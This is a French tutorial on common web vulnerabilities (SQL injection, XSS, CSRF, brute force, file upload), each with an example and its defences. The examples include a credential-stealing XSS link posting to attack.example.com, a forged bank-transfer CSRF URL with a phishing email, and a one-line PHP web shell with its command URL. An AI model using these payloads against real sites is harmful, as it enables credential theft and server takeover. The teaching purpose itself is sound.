Les failles de sécurité informatique

En informatique quand il y a un problème il faut d'abord regarder entre la chaise et le clavier. C'est là que se trouve la première faille de sécurité.

Pour l'éviter : Il faut s'informer (la veille informatique), se former, combattre la procrastination, être rigoureux, se mettre à la place du hacker. Être paranoïaque et sur le sujet de la sécurité ce n'est pas un défaut.

Les différents type de failles de sécurité

- L'injection SQL
- La faille XSS (cross-site scripting)
- La faille CSRF (cross-site request forgery)
- L'attaque par dictionnaire / par force brute
- La faille upload

L'injection SQL

Comme le nom le laisse entendre c'est une attaque dirigée vers la base de données. Le malveillant profite d'une faiblesse (manque de filtre) de votre code pour placer le sien; dés lors il peut récupérer des informations, détruire la bdd, voir diffuser des maliciels.

Les injections sont facilement évitables mais sont encore près de la moitié des attaques subies par de nombreuses entreprises. Il y a plusieurs sortes d'injections SQL mais les plus courantes sont sur les variables avec des chaînes de caractères et pour les variables numériques.

Pour l'éviter

Pour les variables avec des chaînes de caractères on sécurise avec mysqli_real_escape_string(). Cette fonction ajoute un antislash aux caractères spéciaux.

```php
<?php
$pseudo = $_GET['pseudo'];
// La fonction mysqli_real_escape_string(mysqli $mysql, string $string): string
// Prend deux arguments :
    // la connection ($mysql qui doit être de type mysqli)
    // la chaîne de caractère ($string qui doit être de type string)
    // elle renvoye une string
$pseudo = mysqli_real_escape_string($connexion, $_GET['pseudo']);
```

Ou bien avec PDO::quote()

```php
<?php
$pseudo = $_GET['pseudo'];

// Echappement des caractères spéciaux.
$pseudo = $pdo->quote($pseudo);
```

Pour les variables numériques il faut changer la variable pour qu'elle ne contienne que des nombres avec intval().
Vérifier si la variable contient vraiment un chiffre

```php
<?php
    $variable = '1e10';
    $valeur_numerique = intval($variable);
?>
```

Faire appel à la fonction is_numeric() dans une condition if

```php
<?php
    $id = $_POST['id'];

    if (is_numeric($id)){
        $requete = mysql_query("SELECT age FROM membres WHERE id=$id");
    } else {
        echo "Pas touche ;)";
    }
?>
```

En plus, on peut utiliser la fonction filter_input() lorsqu'on récupère les variables de $_POST pour être qu'on obtient la variable de bon type.

Quelques filtres utiles :
 FILTER_SANITIZE_NUMBER_FLOAT (INT) : efface tout sauf les chiffres, « + » ou « - » et « . » et « , » dans le cas des flottants ;
FILTER_SANITIZE_FULL_SPECIAL_CHARS : équivalent à htmlspecilachars() ;
FILTER_SANITIZE_ADD_SLASHES : équivalent à mysql_real_escape_string() ;
Etc.
La liste des filtres : https://www.php.net/manual/fr/filter.filters.sanitize.php

La faille XSS (cross-site scripting),
C'est aussi une injection de contenu malveillant.
L'attaquant peut utiliser tous les langages pris en charge par le navigateur.

Il peut rediriger vers un autre site (hameçonnage) ou récupérer les cookies (vol de session).
Vol d'identité
Rendre la page quasi illisible voire totalement.
Pour la détecter on essaye de faire passer un script dans un formulaire.

```
<script type="text/javascript">alert('Bonjour')</script>
```

Si une boite de dialogue s'affiche, alors il y a un problème.

Il y a deux sortes de failles XSS :

Les non-persistants
Les persistants

Les deux sortes se divisent en deux groupes :

- les vulnérabilités côté serveur elles sont dites traditionnelles.
- les vulnérabilités côté client qui sont basés sur le DOM.

On parle aussi de faille non permanente (la plus répandue).
Si les données ne sont pas vérifiées elles pourront servir à injecter du code malveillant.

Exemple :

Voilà un code d'un message s'affichant sur une page d'accueil :

```
$username = $_GET['username'];

echo '<div class="header">Bienvenue, ' . $username . '</div>';
```

Comme le paramètre peut être arbitraire, l'url de la page pourrait être modifiée de façon à ce que $username contienne une syntaxe de script, telle que :

```
http://trustedSite.example.com/welcome.php?username=<Script Language="Javascript">alert("Your soul is mine!");</Script>
```

Et c'est encore assez inoffensif – l'utilisateur va voire juste un message.
Mais imaginons que le hacker soit un peu plus malicieux :

```
http://trustedSite.example.com/welcome.php?username=<div id="stealPassword">Please Login:<form name="input" action="http://
attack.example.com/stealPassword.php" method="post">Username: <input type="text" name="username" /><br/>Password: <input
type="password" name="password" /><br/><input type="submit" value="Login" /></form></div>
```

Ce qu'en HTML va voir l'utilisateur en cliquant sur ce lien :

```
<div class="header"> Welcome, <div id="stealPassword"> Please Login:

<form name="input" action="attack.example.com/stealPassword.php" method="post">
Username: <input type="text" name="username" /><br/>
Password: <input type="password" name="password" /><br/>
<input type="submit" value="Login" />
</form>

</div></div>
```

L'utilisateur tape son identifiant et son mot de passe – et voilà, ils sont dans les mains du hacker.

La faille XSS stocké (permanente)
Plus puissante que la non permanente elle se produit quand les données renvoyées par le serveur contiennent des caractères spéciaux qui n'ont pas été encodés.

Exemple :

Considérons une application qui fournit un tableau de messages simpliste qui enregistre les messages au format HTML et les ajoute à un fichier. Lorsqu'un nouvel utilisateur arrive dans la salle, elle fait une annonce :

```
$name = $_COOKIE["myname"];
$announceStr = "$name just logged in.";


saveMessage($announceStr);
```

Un attaquant peut être en mesure de réaliser une attaque par injection HTML (XSS stocké) en attribuant à un cookie une valeur de ce type :

```
<script>document.alert('I need your clothes, your boots and your motorcycle');</script>
```

Pour chaque personne qui visite la page du message, son navigateur exécute le script, générant une fenêtre pop-up.

Les basées sur le DOM

DOM (Document Object Model) est une interface de programmation (ou API) qui permet à des scripts d'examiner et de modifier le contenu du navigateur web. Si le script fourni par le serveur traite les données fournies par l'utilisateur et les réinjecte ensuite dans la page Web (comme dans le cas du HTML dynamique), le XSS basé sur le DOM est possible. Cette faille est dangereuse, car on ne peut pas la détecter et s'en protéger côté serveur : tout se passe de côté client.

Exemple :

La page http://www.example.com/userdashboard.html est personnalisée en fonction du nom de l'utilisateur. Le nom de l'utilisateur est encodé dans l'URL et utilisé directement sur la page résultante :

```
<html>
    <head>
        <title>Custom Dashboard </title>
        ...
    </head>
    Main Dashboard for
    <script>
        var pos=document.URL.indexOf("context=")+8;
        document.write(document.URL.substring(pos,document.URL.length));
    </script>
...
</html>
```

Par exemple,

http://www.example.com/userdashboard.html?context=Mary est un tableau de bord personnalisé pour Marie. Il contient la chaîne Tableau de bord principal pour Marie en haut.

Voici comment une attaque XSS basée sur le DOM peut être réalisée pour cette application Web :

1. L'attaquant incorpore un script malveillant dans l'URL : http://www.example.com/userdashboard.html#context=<script>SomeFunction(somevariable)</script>. (en utilisant le caractère « # » le script n'est jamais envoyé au serveur)
2. Le navigateur de la victime reçoit cette URL, envoie une requête HTTP à http://www.example.com et reçoit la page HTML statique.
3. Le navigateur commence à construire le DOM de la page et remplit la propriété document.URL avec l'URL de l'étape 1.
4. Le navigateur analyse la page HTML, atteint le script et l'exécute, en extrayant le contenu malveillant de la propriété document.URL.
5. Le navigateur met à jour le corps HTML brut de la page pour qu'il contienne : Tableau de bord principal pour <script>SomeFunction(somevariable)</script>.
6. Le navigateur trouve le code JavaScript dans le corps HTML et l'exécute.
7.

   Pour l'éviter

- utiliser la fonction htmlspecialchars () qui filtre les '<' et '>' (cf. ci-dessus) ;
- utiliser la fonction htmlentities () qui est identique à htmlspecialchars() sauf qu'elle filtre tous les caractères équivalents au codage HTML ou JavaScript.
- éviter d'utiliser les données reçues du client pour les actions sensibles côté client et assainir le code côté client en inspectant les références aux objets DOM qui représentent une menace, par exemple, l'URL, l'emplacement et le référent.

La faille CSRF (cross-site request forgery),
C'est amener un utilisateur authentifié à utiliser une requête HTTP falsifiée qui pointe sur une action interne du site sans que ce dernier ne s'en rende compte.

Exemple :

Prenons le cas d'un utilisateur qui souhaite transférer un montant de 5 000 dollars à un membre de sa famille via l'application web de la banque Acme, qui présente une vulnérabilité CSRF. Un attaquant identifie cette vulnérabilité et veut intercepter cette transaction afin que les fonds soient transférés sur son compte bancaire au lieu du destinataire prévu.

L'attaquant peut construire deux types d'URL pour effectuer le transfert de fonds illicite, selon que l'application a été conçue pour utiliser des requêtes GET ou POST.

Supposons que l'application a été conçue pour utiliser les requêtes GET.

La demande originale ressemblerait à quelque chose comme ceci, en transférant le montant au compte #344344 :

```
GET http://acmebank.com/fundtransfer?acct=344344&amount=5000 HTTP/1.1
```

La fausse demande de l'attaquant peut ressembler à ceci. L'attaquant remplace le numéro de compte par son propre compte (#224224 dans cet exemple) et augmente le montant du transfert à 50 000 $:

```
http://acmebank.com/fundtransfer?acct=224224&amount=50000
```

L'attaquant doit maintenant inciter la victime à visiter cette fausse URL lorsqu'elle est connectée à l'application bancaire. L'attaquant peut rédiger un e-mail comme celui-ci :

A : Victime
Sujet : Un cadeau de fleurs pour vous !

Bonjour victime,
Nous savons que ton anniversaire approche et nous avons un cadeau spécial pour toi. Il suffit de cliquer ici pour le recevoir !

Le lien "cliquer ici" mène à la fausse URL indiquée ci-dessus.

Pour l'éviter

- Demander des confirmations à l'utilisateur pour les actions critiques, au risque d'alourdir l'enchaînement des formulaires.
- Demander une confirmation de l'ancien mot de passe à l'utilisateur pour changer celui-ci ou changer l'adresse mail du compte.
- Utiliser des jetons de validité (ou *Token*) dans les formulaires. Ce système d'autorisation est basé sur la création d'un token via le chiffrement d'un identifiant utilisateur, un nonce et un horodatage. Le serveur doit vérifier la correspondance du jeton envoyé en recalculant cette valeur et en la comparant avec celle reçue[1].
- Éviter d'utiliser des requêtes HTTP GET pour effectuer des actions : cette technique va naturellement éliminer des attaques simples basées sur les images, mais laissera passer les attaques fondées sur JavaScript, lesquelles sont capables très simplement de lancer des requêtes HTTP POST.
- Effectuer une vérification du référent dans les pages sensibles : connaître la provenance du client permet de sécuriser ce genre d'attaques. Ceci consiste à bloquer la requête du client si la valeur de son référent est différente de la page d'où il doit théoriquement provenir.

L'attaque par dictionnaire / par force brute
C'est deux formes d'attaque qui vont souvent ensemble.
L'attaque par force brute c'est en gros essayer toutes les combinaisons possible pour cracker un mot de passe, avec les nouveaux ordinateurs les mots de passes pas très compliqués et courts ne résistent pas longtemps. Pour les autres on rajoute un dictionnaire, dans celui-ci il y a différents types de mots de passe possible qui vont servir à l'attaque.

Pour l'éviter
Il faut des mots de passe robuste, long avec majuscules, des caractères spéciaux, des chiffres.
Randomiser le mp (générer un mp aléatoire)
Limiter les temps de connexions
Augmenter le coût par tentative (hash et captcha)
Renouveler ses mp.
Le salage.

La faille upload
Permet d'uploader un fichier avec une extension non autorisée dans lequel on injecte du code (en PHP). Souvent présente dans les scripts d'upload d'images.
Le vilain pourra prendre le contrôle de tout (applications et serveur).
C'est la faille la plus dangereuse.

Exemple :

Le code suivant doit permettre à un utilisateur de télécharger une image sur le serveur Web. Le code HTML qui pilote le formulaire du côté de l'utilisateur comporte un champ de saisie de type "file".

```
<form action="upload_picture.php" method="post" enctype="multipart/form-data">

Choose a file to upload:
<input type="file" name="filename"/>
<br/>
<input type="submit" name="submit" value="Submit"/>

</form>
```

Une fois soumis, le formulaire ci-dessus envoie le fichier à upload_picture.php sur le serveur web. PHP stocke le fichier dans un emplacement temporaire jusqu'à ce qu'il soit récupéré (ou supprimé) par le code côté serveur. Dans cet exemple, le fichier est déplacé vers un répertoire pictures/ plus permanent.

```
// Définit l'emplacement cible où l'image téléchargée sera enregistrée.

$target = "pictures/" . basename($_FILES['uploadedfile']['name']);

// Déplace le fichier téléchargé vers le nouvel emplacement.

if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target))
{
echo "The picture has been successfully uploaded.";
}
else
{
echo "There was an error uploading the picture, please try again.";
}
```

Le problème avec le code ci-dessus est qu'il n'y a pas de vérification du type de fichier téléchargé. En supposant que pictures/ est disponible dans la racine du document web, un attaquant pourrait télécharger un fichier avec le nom : **malicieux.php**

Comme ce nom de fichier se termine par ".php", il peut être exécuté par le serveur web. Dans le contenu de ce fichier téléchargé, l'attaquant pourrait utiliser :

```php
<?php
system($_GET['cmd']);

?>
```

Une fois que ce fichier a été installé, l'attaquant peut entrer des commandes arbitraires à exécuter en utilisant une URL telle que :

http://server.example.com/upload_dir/malicious.php?cmd=ls%20-l

qui exécute la commande "ls -l" - ou tout autre type de commande que l'attaquant souhaite spécifier.

La commande “ls” donne la liste de tous les fichiers contenues dans un dossier.

Pour l’éviter
Le fameux **Never trust user input**
Vérifier la configuration d ‘Apache
Ne pas placer le .htaccess dans le répertoire d’upload
Ne pas permettre l’écrasement de fichier
Générer un nom aléatoire pour le fichier uploadé et enregistrer le nom dans une bdd.
Ne pas permettre de voir l’index of du répertoire d’upload.
Assigner les bonnes permissions au répertoire.
Vérifier le mime-type avec getimagesize () et l’extension du fichier.

Une histoire amusante montrant la force des failles : https://samy.pl/myspace/

En quelque mots : en 2005, un utilisateur de « MySpace » Samy a pu « infecter » chaque visiteur de son page, qu’il devient son ami et que chaque visiteur de la page de son « nouvel » ami devient l’ami de Samy. En 20h, il a passé de 70 amis à plus de 1 million amis.

Un site utile :
cwe.mitre.org

Common Weakness Enumeration (CWE™) est une liste développée par la communauté des types de failles logicielles et matérielles courantes qui ont des ramifications de sécurité.

Sources utilisées :

https://cwe.mitre.org
https://developer.mozilla.org/fr/docs/Glossary/DOM
https://owasp.org/www-community/attacks/DOM_Based_XSS
https://brightsec.com/blog/csrf-example/
https://www.acunetix.com/websitesecurity/upload-forms-threat/
https://repo.zenk-security.com/Techniques%20d.attaques%20%20.%20%20Failles/Securite%20PHP%20-%20Faille%20upload.pdf